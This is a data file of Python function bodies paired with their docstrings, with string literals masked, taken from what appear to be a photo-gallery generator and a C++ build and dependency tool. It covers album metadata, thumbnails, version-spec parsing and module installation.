{"signature": "def _get_metadata(self):", "body": "self.description = '<STR_LIT>'<EOL>self.meta = {}<EOL>self.title = '<STR_LIT>'<EOL>descfile = splitext(self.src_path)[<NUM_LIT:0>] + '<STR_LIT>'<EOL>if isfile(descfile):<EOL><INDENT>meta = read_markdown(descfile)<EOL>for key, val in meta.items():<EOL><INDENT>setattr(self, key, val)<EOL><DEDENT><DEDENT>", "docstring": "Get image metadata from filename.md: title, description, meta.", "id": "f13464:c0:m7"}
{"signature": "def _get_metadata(self):", "body": "descfile = join(self.src_path, self.description_file)<EOL>self.description = '<STR_LIT>'<EOL>self.meta = {}<EOL>self.title = os.path.basename(self.path if self.path != '<STR_LIT:.>'<EOL>else self.src_path)<EOL>if isfile(descfile):<EOL><INDENT>meta = read_markdown(descfile)<EOL>for key, val in meta.items():<EOL><INDENT>setattr(self, key, val)<EOL><DEDENT><DEDENT>try:<EOL><INDENT>self.author = self.meta['<STR_LIT>'][<NUM_LIT:0>]<EOL><DEDENT>except KeyError:<EOL><INDENT>self.author = self.settings.get('<STR_LIT>')<EOL><DEDENT>", "docstring": "Get album metadata from `description_file` (`index.md`):\n\n        -> title, thumbnail image, description", "id": "f13464:c3:m5"}
{"signature": "def create_output_directories(self):", "body": "check_or_create_dir(self.dst_path)<EOL>if self.medias:<EOL><INDENT>check_or_create_dir(join(self.dst_path,<EOL>self.settings['<STR_LIT>']))<EOL><DEDENT>if self.medias and self.settings['<STR_LIT>']:<EOL><INDENT>self.orig_path = join(self.dst_path, self.settings['<STR_LIT>'])<EOL>check_or_create_dir(self.orig_path)<EOL><DEDENT>", "docstring": "Create output directories for thumbnails and original images.", "id": "f13464:c3:m6"}
{"signature": "@property<EOL><INDENT>def images(self):<DEDENT>", "body": "for media in self.medias:<EOL><INDENT>if media.type == '<STR_LIT:image>':<EOL><INDENT>yield media<EOL><DEDENT><DEDENT>", "docstring": "List of images (:class:`~sigal.gallery.Image`).", "id": "f13464:c3:m9"}
{"signature": "@property<EOL><INDENT>def videos(self):<DEDENT>", "body": "for media in self.medias:<EOL><INDENT>if media.type == '<STR_LIT>':<EOL><INDENT>yield media<EOL><DEDENT><DEDENT>", "docstring": "List of videos (:class:`~sigal.gallery.Video`).", "id": "f13464:c3:m10"}
{"signature": "@property<EOL><INDENT>def albums(self):<DEDENT>", "body": "root_path = self.path if self.path != '<STR_LIT:.>' else '<STR_LIT>'<EOL>return [self.gallery.albums[join(root_path, path)]<EOL>for path in self.subdirs]<EOL>", "docstring": "List of :class:`~sigal.gallery.Album` objects for each\n        sub-directory.", "id": "f13464:c3:m11"}
{"signature": "@property<EOL><INDENT>def url(self):<DEDENT>", "body": "url = self.name.encode('<STR_LIT:utf-8>')<EOL>return url_quote(url) + '<STR_LIT:/>' + self.url_ext<EOL>", "docstring": "URL of the album, relative to its parent.", "id": "f13464:c3:m12"}
{"signature": "@property<EOL><INDENT>def thumbnail(self):<DEDENT>", "body": "if self._thumbnail:<EOL><INDENT>return self._thumbnail<EOL><DEDENT>thumbnail = self.meta.get('<STR_LIT>', ['<STR_LIT>'])[<NUM_LIT:0>]<EOL>if thumbnail and isfile(join(self.src_path, thumbnail)):<EOL><INDENT>self._thumbnail = url_from_path(join(<EOL>self.name, get_thumb(self.settings, thumbnail)))<EOL>self.logger.debug(\"<STR_LIT>\", self, self._thumbnail)<EOL>return self._thumbnail<EOL><DEDENT>else:<EOL><INDENT>for f in self.medias:<EOL><INDENT>ext = splitext(f.filename)[<NUM_LIT:1>]<EOL>if ext.lower() in self.settings['<STR_LIT>']:<EOL><INDENT>size = f.size<EOL>if size is None:<EOL><INDENT>size = get_size(f.src_path)<EOL><DEDENT>if size['<STR_LIT:width>'] > size['<STR_LIT>']:<EOL><INDENT>self._thumbnail = (url_quote(self.name) + '<STR_LIT:/>' +<EOL>f.thumbnail)<EOL>self.logger.debug(<EOL>\"<STR_LIT>\",<EOL>self, self._thumbnail)<EOL>return self._thumbnail<EOL><DEDENT><DEDENT><DEDENT>if not self._thumbnail and self.medias:<EOL><INDENT>for media in self.medias:<EOL><INDENT>if media.thumbnail is not None:<EOL><INDENT>self._thumbnail = (url_quote(self.name) + '<STR_LIT:/>' +<EOL>media.thumbnail)<EOL>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.logger.warning(\"<STR_LIT>\", self)<EOL>return None<EOL><DEDENT>self.logger.debug(\"<STR_LIT>\",<EOL>self, self._thumbnail)<EOL>return self._thumbnail<EOL><DEDENT>if not self._thumbnail:<EOL><INDENT>for path, album in self.gallery.get_albums(self.path):<EOL><INDENT>if album.thumbnail:<EOL><INDENT>self._thumbnail = (url_quote(self.name) + '<STR_LIT:/>' +<EOL>album.thumbnail)<EOL>self.logger.debug(<EOL>\"<STR_LIT>\",<EOL>self, self._thumbnail)<EOL>return self._thumbnail<EOL><DEDENT><DEDENT><DEDENT><DEDENT>self.logger.error('<STR_LIT>', self)<EOL>return None<EOL>", "docstring": "Path to the thumbnail of the album.", "id": "f13464:c3:m13"}
{"signature": "@property<EOL><INDENT>def breadcrumb(self):<DEDENT>", "body": "if self.path == '<STR_LIT:.>':<EOL><INDENT>return []<EOL><DEDENT>path = self.path<EOL>breadcrumb = [((self.url_ext or '<STR_LIT:.>'), self.title)]<EOL>while True:<EOL><INDENT>path = os.path.normpath(os.path.join(path, '<STR_LIT:..>'))<EOL>if path == '<STR_LIT:.>':<EOL><INDENT>break<EOL><DEDENT>url = (url_from_path(os.path.relpath(path, self.path)) + '<STR_LIT:/>' +<EOL>self.url_ext)<EOL>breadcrumb.append((url, self.gallery.albums[path].title))<EOL><DEDENT>breadcrumb.reverse()<EOL>return breadcrumb<EOL>", "docstring": "List of ``(url, title)`` tuples defining the current breadcrumb\n        path.", "id": "f13464:c3:m15"}
{"signature": "@property<EOL><INDENT>def show_map(self):<DEDENT>", "body": "return any(image.has_location() for image in self.images)<EOL>", "docstring": "Check if we have at least one photo with GPS location in the album", "id": "f13464:c3:m16"}
{"signature": "@cached_property<EOL><INDENT>def zip(self):<DEDENT>", "body": "zip_gallery = self.settings['<STR_LIT>']<EOL>if zip_gallery and len(self) > <NUM_LIT:0>:<EOL><INDENT>zip_gallery = zip_gallery.format(album=self)<EOL>archive_path = join(self.dst_path, zip_gallery)<EOL>if (self.settings.get('<STR_LIT>', False) and<EOL>isfile(archive_path)):<EOL><INDENT>self.logger.debug(\"<STR_LIT>\",<EOL>archive_path)<EOL>return zip_gallery<EOL><DEDENT>archive = zipfile.ZipFile(archive_path, '<STR_LIT:w>', allowZip64=True)<EOL>attr = ('<STR_LIT>' if self.settings['<STR_LIT>'] == '<STR_LIT>'<EOL>else '<STR_LIT>')<EOL>for p in self:<EOL><INDENT>path = getattr(p, attr)<EOL>try:<EOL><INDENT>archive.write(path, os.path.split(path)[<NUM_LIT:1>])<EOL><DEDENT>except OSError as e:<EOL><INDENT>self.logger.warn('<STR_LIT>', p, e)<EOL><DEDENT><DEDENT>archive.close()<EOL>self.logger.debug('<STR_LIT>', archive_path)<EOL>return zip_gallery<EOL><DEDENT>", "docstring": "Make a ZIP archive with all media files and return its path.\n\n        If the ``zip_gallery`` setting is set,it contains the location of a zip\n        archive with all original images of the corresponding directory.", "id": "f13464:c3:m17"}
{"signature": "@property<EOL><INDENT>def title(self):<DEDENT>", "body": "return self.settings['<STR_LIT:title>'] or self.albums['<STR_LIT:.>'].title<EOL>", "docstring": "Title of the gallery.", "id": "f13464:c4:m1"}
{"signature": "def get_albums(self, path):", "body": "for name in self.albums[path].subdirs:<EOL><INDENT>subdir = os.path.normpath(join(path, name))<EOL>yield subdir, self.albums[subdir]<EOL>for subname, album in self.get_albums(subdir):<EOL><INDENT>yield subname, self.albums[subdir]<EOL><DEDENT><DEDENT>", "docstring": "Return the list of all sub-directories of path.", "id": "f13464:c4:m3"}
{"signature": "def build(self, force=False):", "body": "if not self.albums:<EOL><INDENT>self.logger.warning(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>def log_func(x):<EOL><INDENT>available_length = get_terminal_size()[<NUM_LIT:0>] - <NUM_LIT:64><EOL>if x and available_length > <NUM_LIT:10>:<EOL><INDENT>return x.name[:available_length]<EOL><DEDENT>else:<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT><DEDENT>try:<EOL><INDENT>with progressbar(self.albums.values(), label=\"<STR_LIT>\",<EOL>item_show_func=log_func, show_eta=False,<EOL>file=self.progressbar_target) as albums:<EOL><INDENT>media_list = [f for album in albums<EOL>for f in self.process_dir(album, force=force)]<EOL><DEDENT><DEDENT>except KeyboardInterrupt:<EOL><INDENT>sys.exit('<STR_LIT>')<EOL><DEDENT>bar_opt = {'<STR_LIT:label>': \"<STR_LIT>\",<EOL>'<STR_LIT>': True,<EOL>'<STR_LIT:file>': self.progressbar_target}<EOL>failed_files = []<EOL>if self.pool:<EOL><INDENT>try:<EOL><INDENT>with progressbar(length=len(media_list), **bar_opt) as bar:<EOL><INDENT>for res in self.pool.imap_unordered(worker, media_list):<EOL><INDENT>if res:<EOL><INDENT>failed_files.append(res)<EOL><DEDENT>bar.update(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>self.pool.close()<EOL>self.pool.join()<EOL><DEDENT>except KeyboardInterrupt:<EOL><INDENT>self.pool.terminate()<EOL>sys.exit('<STR_LIT>')<EOL><DEDENT>except pickle.PicklingError:<EOL><INDENT>self.logger.critical(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\",<EOL>exc_info=True)<EOL>sys.exit('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>with progressbar(media_list, **bar_opt) as medias:<EOL><INDENT>for media_item in medias:<EOL><INDENT>res = process_file(media_item)<EOL>if res:<EOL><INDENT>failed_files.append(res)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if failed_files:<EOL><INDENT>self.remove_files(failed_files)<EOL><DEDENT>if self.settings['<STR_LIT>']:<EOL><INDENT>album_writer = AlbumPageWriter(self.settings,<EOL>index_title=self.title)<EOL>album_list_writer = AlbumListPageWriter(self.settings,<EOL>index_title=self.title)<EOL>with progressbar(self.albums.values(),<EOL>label=\"<STR_LIT>\" % \"<STR_LIT>\",<EOL>item_show_func=log_func, show_eta=False,<EOL>file=self.progressbar_target) as albums:<EOL><INDENT>for album in albums:<EOL><INDENT>if album.albums:<EOL><INDENT>if album.medias:<EOL><INDENT>self.logger.warning(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\",<EOL>album.title, album.title<EOL>)<EOL><DEDENT>album_list_writer.write(album)<EOL><DEDENT>else:<EOL><INDENT>album_writer.write(album)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>print('<STR_LIT>')<EOL>signals.gallery_build.send(self)<EOL>", "docstring": "Create the image gallery", "id": "f13464:c4:m4"}
{"signature": "def process_dir(self, album, force=False):", "body": "for f in album:<EOL><INDENT>if isfile(f.dst_path) and not force:<EOL><INDENT>self.logger.info(\"<STR_LIT>\", f.filename)<EOL>self.stats[f.type + '<STR_LIT>'] += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>self.stats[f.type] += <NUM_LIT:1><EOL>yield (f.type, f.path, f.filename, f.src_path, album.dst_path,<EOL>self.settings)<EOL><DEDENT><DEDENT>", "docstring": "Process a list of images in a directory.", "id": "f13464:c4:m6"}
{"signature": "def installAndBuild(args, following_args):", "body": "build_status = generate_status = install_status = <NUM_LIT:0><EOL>if not hasattr(args, '<STR_LIT>'):<EOL><INDENT>vars(args)['<STR_LIT>'] = []<EOL><DEDENT>if '<STR_LIT:test>' in args.build_targets:<EOL><INDENT>logging.error('<STR_LIT>')<EOL>return {'<STR_LIT:status>':<NUM_LIT:1>}<EOL><DEDENT>cwd = os.getcwd()<EOL>c = validate.currentDirectoryModule()<EOL>if not c:<EOL><INDENT>return {'<STR_LIT:status>':<NUM_LIT:1>}<EOL><DEDENT>try:<EOL><INDENT>target, errors = c.satisfyTarget(args.target, additional_config=args.config)<EOL><DEDENT>except access_common.AccessException as e:<EOL><INDENT>logging.error(e)<EOL>return {'<STR_LIT:status>':<NUM_LIT:1>}<EOL><DEDENT>if errors:<EOL><INDENT>for error in errors:<EOL><INDENT>logging.error(error)<EOL><DEDENT>return {'<STR_LIT:status>':<NUM_LIT:1>}<EOL><DEDENT>vars(args)['<STR_LIT>'] = None<EOL>vars(args)['<STR_LIT>'] = False<EOL>if not hasattr(args, '<STR_LIT>'):<EOL><INDENT>if '<STR_LIT>' in args.build_targets:<EOL><INDENT>vars(args)['<STR_LIT>'] = '<STR_LIT:all>'<EOL><DEDENT>elif not len(args.build_targets):<EOL><INDENT>vars(args)['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>vars(args)['<STR_LIT>'] = '<STR_LIT:all>'<EOL><DEDENT><DEDENT>install_status = install.execCommand(args, [])<EOL>builddir = os.path.join(cwd, '<STR_LIT>', target.getName())<EOL>all_deps = c.getDependenciesRecursive(<EOL>target = target,<EOL>available_components = [(c.getName(), c)],<EOL>test = True<EOL>)<EOL>missing = <NUM_LIT:0><EOL>for d in all_deps.values():<EOL><INDENT>if not d and not (d.isTestDependency() and args.install_test_deps != '<STR_LIT:all>'):<EOL><INDENT>logging.error('<STR_LIT>' % os.path.split(d.path)[<NUM_LIT:1>])<EOL>missing += <NUM_LIT:1><EOL><DEDENT><DEDENT>if missing:<EOL><INDENT>logging.error('<STR_LIT>')<EOL>return {'<STR_LIT:status>': <NUM_LIT:1>, '<STR_LIT>':install_status, '<STR_LIT>':missing}<EOL><DEDENT>generator = cmakegen.CMakeGen(builddir, target)<EOL>config = generator.configure(c, all_deps)<EOL>logging.debug(\"<STR_LIT>\", config['<STR_LIT>'])<EOL>script_environment = {<EOL>'<STR_LIT>': config['<STR_LIT>']<EOL>}<EOL>runScriptWithModules(c, all_deps.values(), '<STR_LIT>', script_environment)<EOL>app = c if len(c.getBinaries()) else None<EOL>for error in generator.generateRecursive(c, all_deps, builddir, application=app):<EOL><INDENT>logging.error(error)<EOL>generate_status = <NUM_LIT:1><EOL><DEDENT>logging.debug(\"<STR_LIT>\")<EOL>runScriptWithModules(c, all_deps.values(), '<STR_LIT>', script_environment)<EOL>if (not hasattr(args, '<STR_LIT>')) or (not args.generate_only):<EOL><INDENT>error = target.build(<EOL>builddir, c, args, release_build=args.release_build,<EOL>build_args=following_args, targets=args.build_targets,<EOL>release_no_debug_info_build=args.release_no_debug_info_build<EOL>)<EOL>if error:<EOL><INDENT>logging.error(error)<EOL>build_status = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>runScriptWithModules(c, all_deps.values(), '<STR_LIT>', script_environment)<EOL><DEDENT>if install_status:<EOL><INDENT>logging.warning(<EOL>\"<STR_LIT>\"+<EOL>\"<STR_LIT>\"+<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT><DEDENT>return {<EOL>'<STR_LIT:status>': build_status or generate_status or install_status,<EOL>'<STR_LIT>': missing,<EOL>'<STR_LIT>': build_status,<EOL>'<STR_LIT>': generate_status,<EOL>'<STR_LIT>': install_status<EOL>}<EOL>", "docstring": "Perform the build command, but provide detailed error information.\n        Returns {status:0, build_status:0, generate_status:0, install_status:0} on success.\n        If status: is nonzero there was some sort of error. Other properties\n        are optional, and may not be set if that step was not attempted.", "id": "f13478:m3"}
{"signature": "def displayOutdated(modules, dependency_specs, use_colours):", "body": "if use_colours:<EOL><INDENT>DIM    = colorama.Style.DIM       <EOL>NORMAL = colorama.Style.NORMAL    <EOL>BRIGHT = colorama.Style.BRIGHT    <EOL>YELLOW = colorama.Fore.YELLOW     <EOL>RED    = colorama.Fore.RED        <EOL>GREEN  = colorama.Fore.GREEN      <EOL>RESET  = colorama.Style.RESET_ALL <EOL><DEDENT>else:<EOL><INDENT>DIM = BRIGHT = YELLOW = RED = GREEN = RESET = u'<STR_LIT>'<EOL><DEDENT>status = <NUM_LIT:0><EOL>from yotta.lib import access<EOL>from yotta.lib import access_common<EOL>from yotta.lib import sourceparse<EOL>for name, m in modules.items():<EOL><INDENT>if m.isTestDependency():<EOL><INDENT>continue<EOL><DEDENT>try:<EOL><INDENT>latest_v = access.latestSuitableVersion(name, '<STR_LIT:*>', registry='<STR_LIT>', quiet=True)<EOL><DEDENT>except access_common.Unavailable as e:<EOL><INDENT>latest_v = None<EOL><DEDENT>if not m:<EOL><INDENT>m_version = u'<STR_LIT:U+0020>' + RESET + BRIGHT + RED + u\"<STR_LIT>\" + RESET<EOL><DEDENT>else:<EOL><INDENT>m_version = DIM + u'<STR_LIT>' % (m.version)<EOL><DEDENT>if not latest_v:<EOL><INDENT>print(u'<STR_LIT>' % (RED, name, m_version, NORMAL, RESET))<EOL>status = <NUM_LIT:2><EOL>continue<EOL><DEDENT>elif not m or m.version < latest_v:<EOL><INDENT>update_prevented_by = '<STR_LIT>'<EOL>if m:<EOL><INDENT>specs_preventing_update = [<EOL>x for x in dependency_specs<EOL>if x.name == name and not<EOL>sourceparse.parseSourceURL(x.nonShrinkwrappedVersionReq()).semanticSpecMatches(latest_v)<EOL>]<EOL>shrinkwrap_prevents_update = [<EOL>x for x in dependency_specs<EOL>if x.name == name and x.isShrinkwrapped() and not<EOL>sourceparse.parseSourceURL(x.versionReq()).semanticSpecMatches(latest_v)<EOL>]<EOL>if len(specs_preventing_update):<EOL><INDENT>update_prevented_by = '<STR_LIT>' % (<EOL>'<STR_LIT:U+002CU+0020>'.join(['<STR_LIT>' % (x.version_req, x.specifying_module) for x in specs_preventing_update])<EOL>)<EOL><DEDENT>if len(shrinkwrap_prevents_update):<EOL><INDENT>update_prevented_by += '<STR_LIT>'<EOL><DEDENT>if m.version.major() < latest_v.major():<EOL><INDENT>colour = GREEN<EOL><DEDENT>elif m.version.minor() < latest_v.minor():<EOL><INDENT>colour = YELLOW<EOL><DEDENT>else:<EOL><INDENT>colour = RED<EOL><DEDENT><DEDENT>else:<EOL><INDENT>colour = RED<EOL><DEDENT>print(u'<STR_LIT>' % (name, m_version, RESET, colour, latest_v.version, update_prevented_by, RESET))<EOL>if not status:<EOL><INDENT>status = <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>return status<EOL>", "docstring": "print information about outdated modules,\n        return 0 if there is nothing to be done and nonzero otherwise", "id": "f13517:m2"}
{"signature": "def findCTests(builddir, recurse_yotta_modules=False):", "body": "<EOL>tests = []<EOL>add_test_re = re.compile('<STR_LIT>', flags=re.IGNORECASE)<EOL>for root, dirs, files in os.walk(builddir, topdown=True):<EOL><INDENT>if not recurse_yotta_modules:<EOL><INDENT>dirs = [d for d in dirs if d != '<STR_LIT>']<EOL><DEDENT>if '<STR_LIT>' in files:<EOL><INDENT>with open(os.path.join(root, '<STR_LIT>'), '<STR_LIT:r>') as ctestf:<EOL><INDENT>dir_tests = []<EOL>for line in ctestf:<EOL><INDENT>if line.lower().startswith('<STR_LIT>'):<EOL><INDENT>match = add_test_re.search(line)<EOL>if match:<EOL><INDENT>dir_tests.append((match.group(<NUM_LIT:1>), match.group(<NUM_LIT:2>)))<EOL><DEDENT>else:<EOL><INDENT>logging.error(<EOL>\"<STR_LIT>\" %<EOL>line.rstrip('<STR_LIT:\\n>')<EOL>)<EOL><DEDENT><DEDENT><DEDENT>if len(dir_tests):<EOL><INDENT>tests.append((root, dir_tests))<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return tests<EOL>", "docstring": "returns a list of (directory_path, [list of tuples of (test name, test command)])", "id": "f13531:m1"}
{"signature": "def parseSourceURL(source_url):", "body": "name, spec = _getNonRegistryRef(source_url)<EOL>if spec:<EOL><INDENT>return spec<EOL><DEDENT>try:<EOL><INDENT>url_is_spec = version.Spec(source_url)<EOL><DEDENT>except ValueError:<EOL><INDENT>url_is_spec = None<EOL><DEDENT>if url_is_spec is not None:<EOL><INDENT>return VersionSource('<STR_LIT>', '<STR_LIT>', source_url)<EOL><DEDENT>raise InvalidVersionSpec(\"<STR_LIT>\" % (source_url))<EOL>", "docstring": "Parse the specified version source URL (or version spec), and return an\n        instance of VersionSource", "id": "f13533:m1"}
{"signature": "def isValidSpec(spec_or_source_url):", "body": "try:<EOL><INDENT>parseSourceURL(spec_or_source_url)<EOL>return True<EOL><DEDENT>except InvalidVersionSpec:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Check if the specified version source URL (or version spec), can be\n        parsed successfully.", "id": "f13533:m2"}
{"signature": "def parseTargetNameAndSpec(target_name_and_spec):", "body": "import re<EOL>name, spec = _getNonRegistryRef(target_name_and_spec)<EOL>if name:<EOL><INDENT>return name, target_name_and_spec<EOL><DEDENT>split_at = '<STR_LIT:@>'<EOL>if target_name_and_spec.find('<STR_LIT:@>') > target_name_and_spec.find('<STR_LIT:U+002C>') and'<STR_LIT:U+002C>' in target_name_and_spec:<EOL><INDENT>split_at = '<STR_LIT:U+002C>'<EOL><DEDENT>name = target_name_and_spec.split(split_at)[<NUM_LIT:0>]<EOL>spec = target_name_and_spec[len(name)+<NUM_LIT:1>:]<EOL>name = name.strip()<EOL>if not spec:<EOL><INDENT>spec = '<STR_LIT:*>'<EOL><DEDENT>return name, spec<EOL>", "docstring": "Parse targetname[@versionspec] and return a tuple\n        (target_name_string, version_spec_string).\n\n        targetname[,versionspec] is also supported (this is how target names\n        and specifications are stored internally, and was the documented way of\n        setting the spec on the commandline)\n\n        Also accepts raw github version specs (Owner/reponame#whatever), as the\n        name can be deduced from these.\n\n        Note that the specification split from the name is not validated. If\n        there is no specification (just a target name) passed in, then '*' will\n        be returned as the specification.", "id": "f13533:m3"}
{"signature": "def parseModuleNameAndSpec(module_name_and_spec):", "body": "import re<EOL>name, spec = _getNonRegistryRef(module_name_and_spec)<EOL>if name:<EOL><INDENT>return name, module_name_and_spec<EOL><DEDENT>name = module_name_and_spec.split('<STR_LIT:@>')[<NUM_LIT:0>]<EOL>spec = module_name_and_spec[len(name)+<NUM_LIT:1>:]<EOL>name = name.strip()<EOL>if not spec:<EOL><INDENT>spec = '<STR_LIT:*>'<EOL><DEDENT>return name, spec<EOL>", "docstring": "Parse modulename[@versionspec] and return a tuple\n        (module_name_string, version_spec_string).\n\n        Also accepts raw github version specs (Owner/reponame#whatever), as the\n        name can be deduced from these.\n\n        Note that the specification split from the name is not validated. If\n        there is no specification (just a module name) passed in, then '*' will\n        be returned as the specification.", "id": "f13533:m4"}
{"signature": "def __init__(self, version_string, url=None):", "body": "super(Version, self).__init__()<EOL>self.url = url<EOL>version_string = str(version_string.strip())<EOL>self.version = None<EOL>if version_string.startswith('<STR_LIT:v>') or version_string.startswith('<STR_LIT:=>'):<EOL><INDENT>self.version = semantic_version.Version(version_string[<NUM_LIT:1>:], partial=False)<EOL><DEDENT>elif not version_string:<EOL><INDENT>self.version = TipVersion()<EOL><DEDENT>else:<EOL><INDENT>self.version = semantic_version.Version(version_string, partial=False)<EOL><DEDENT>self.url = url<EOL>", "docstring": "Wrap the semantic_version Version class so that we can represent\n            'tip' versions as well as specific versions, and store an optional\n            URL that can represent the location from which we can retrieve this\n            version.\n\n            Also add some useful methods for manipulating versions.", "id": "f13534:c1:m0"}
{"signature": "def dropRootPrivs(fn):", "body": "def wrapped_fn(*args, **kwargs):<EOL><INDENT>q = multiprocessing.Queue()<EOL>p = multiprocessing.Process(target=_dropPrivsReturnViaQueue, args=(q, fn, args, kwargs))<EOL>p.start()<EOL>r = None<EOL>e = None<EOL>while True:<EOL><INDENT>msg = q.get()<EOL>if msg[<NUM_LIT:0>] == '<STR_LIT>':<EOL><INDENT>r = msg[<NUM_LIT:1>]<EOL><DEDENT>if msg[<NUM_LIT:0>] == '<STR_LIT>':<EOL><INDENT>e = msg[<NUM_LIT:1>](msg[<NUM_LIT:2>])<EOL><DEDENT>if msg[<NUM_LIT:0>] == '<STR_LIT>':<EOL><INDENT>if e is not None:<EOL><INDENT>raise e <EOL><DEDENT>return r<EOL><DEDENT><DEDENT><DEDENT>return wrapped_fn<EOL>", "docstring": "decorator to drop su/sudo privilages before running a function on\n        unix/linux.\n        The *real* uid is modified, so privileges are permanently dropped for\n        the process. (i.e. make sure you don't need to do\n\n        If there is a SUDO_UID environment variable, then we drop to that,\n        otherwise we drop to nobody.", "id": "f13539:m2"}
{"signature": "def which(program):", "body": "<EOL>if os.path.split(program)[<NUM_LIT:0>]:<EOL><INDENT>if os.path.exists(program) and os.access(program, os.X_OK):<EOL><INDENT>return program<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for path in os.environ['<STR_LIT>'].split(os.pathsep):<EOL><INDENT>progpath = os.path.join(path, program)<EOL>if os.path.exists(progpath) and os.access(progpath, os.X_OK):<EOL><INDENT>return progpath<EOL><DEDENT><DEDENT><DEDENT>return None<EOL>", "docstring": "look for \"program\" in PATH, and return the path to it, or None if it\n        was not found", "id": "f13539:m8"}
{"signature": "def remoteComponentFor(name, version_required, registry='<STR_LIT>'):", "body": "try:<EOL><INDENT>vs = sourceparse.parseSourceURL(version_required)<EOL><DEDENT>except ValueError as e:<EOL><INDENT>raise access_common.Unavailable(<EOL>'<STR_LIT:%s>' % (e)<EOL>)<EOL><DEDENT>if vs.source_type == '<STR_LIT>':<EOL><INDENT>if registry not in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>raise Exception('<STR_LIT>' % registry)<EOL><DEDENT>return registry_access.RegistryThing.createFromSource(<EOL>vs, name, registry=registry<EOL>)<EOL><DEDENT>elif vs.source_type == '<STR_LIT>':<EOL><INDENT>return github_access.GithubComponent.createFromSource(vs, name)<EOL><DEDENT>elif vs.source_type == '<STR_LIT>':<EOL><INDENT>return git_access.GitComponent.createFromSource(vs, name)<EOL><DEDENT>elif vs.source_type == '<STR_LIT>':<EOL><INDENT>return hg_access.HGComponent.createFromSource(vs, name)<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>' % vs.source_type)<EOL><DEDENT>", "docstring": "Return a RemoteComponent sublclass for the specified component name and\n        source url (or version specification)\n        Raises an exception if any arguments are invalid.", "id": "f13541:m0"}
{"signature": "def satisfyVersionFromSearchPaths(name, version_required, search_paths, update=False, type='<STR_LIT>', inherit_shrinkwrap=None):", "body": "<EOL>from yotta.lib import pack<EOL>v = None<EOL>try:<EOL><INDENT>sv = sourceparse.parseSourceURL(version_required)<EOL><DEDENT>except ValueError as e:<EOL><INDENT>logging.error(e)<EOL>return None<EOL><DEDENT>try:<EOL><INDENT>local_version = searchPathsFor(<EOL>name,<EOL>sv.semanticSpec(),<EOL>search_paths,<EOL>type,<EOL>inherit_shrinkwrap = inherit_shrinkwrap<EOL>)<EOL><DEDENT>except pack.InvalidDescription as e:<EOL><INDENT>logger.error(e)<EOL>return None<EOL><DEDENT>logger.debug(\"<STR_LIT>\" % (('<STR_LIT>', '<STR_LIT>')[not local_version], name))<EOL>if local_version:<EOL><INDENT>if update and not local_version.installedLinked():<EOL><INDENT>v = latestSuitableVersion(name, version_required, registry=_registryNamespaceForType(type))<EOL>if local_version:<EOL><INDENT>local_version.setLatestAvailable(v)<EOL><DEDENT><DEDENT>if local_version.installedLinked() or not local_version.outdated():<EOL><INDENT>logger.debug(\"<STR_LIT>\" % local_version.path)<EOL>if name != local_version.getName():<EOL><INDENT>raise Exception('<STR_LIT>' % (<EOL>local_version.getName(), name, local_version.path<EOL>))<EOL><DEDENT>return local_version<EOL><DEDENT>logger.info('<STR_LIT>' % (<EOL>name,<EOL>local_version.getVersion(),<EOL>v<EOL>))<EOL>fsutils.rmRf(local_version.path)<EOL>return _satisfyVersionByInstallingVersion(<EOL>name, version_required, local_version.path, v, type=type, inherit_shrinkwrap=inherit_shrinkwrap<EOL>)<EOL><DEDENT>return None<EOL>", "docstring": "returns a Component/Target for the specified version, if found in the\n        list of search paths. If `update' is True, then also check for newer\n        versions of the found component, and update it in-place (unless it was\n        installed via a symlink).", "id": "f13541:m7"}
{"signature": "def satisfyVersionByInstalling(name, version_required, working_directory, type='<STR_LIT>', inherit_shrinkwrap=None):", "body": "v = latestSuitableVersion(name, version_required, _registryNamespaceForType(type))<EOL>install_into = os.path.join(working_directory, name)<EOL>return _satisfyVersionByInstallingVersion(<EOL>name, version_required, install_into, v, type=type, inherit_shrinkwrap = inherit_shrinkwrap<EOL>)<EOL>", "docstring": "installs and returns a Component/Target for the specified name+version\n        requirement, into a subdirectory of `working_directory'", "id": "f13541:m8"}
{"signature": "def _satisfyVersionByInstallingVersion(name, version_required, working_directory, version, type='<STR_LIT>', inherit_shrinkwrap=None):", "body": "assert(version)<EOL>logger.info('<STR_LIT>', version)<EOL>version.unpackInto(working_directory)<EOL>r = _clsForType(type)(working_directory, inherit_shrinkwrap = inherit_shrinkwrap)<EOL>if not r:<EOL><INDENT>raise Exception(<EOL>'<STR_LIT>' % (name, version_required, type)<EOL>)<EOL><DEDENT>if name != r.getName():<EOL><INDENT>raise Exception('<STR_LIT>' % (<EOL>type, name, version_required, r.getName()<EOL>))<EOL><DEDENT>r.runScript('<STR_LIT>')<EOL>return r<EOL>", "docstring": "installs and returns a Component/Target for the specified version requirement into\n        'working_directory' using the provided remote version object.\n        This function is not normally called via `satisfyVersionByInstalling',\n        which looks up a suitable remote version object.", "id": "f13541:m9"}
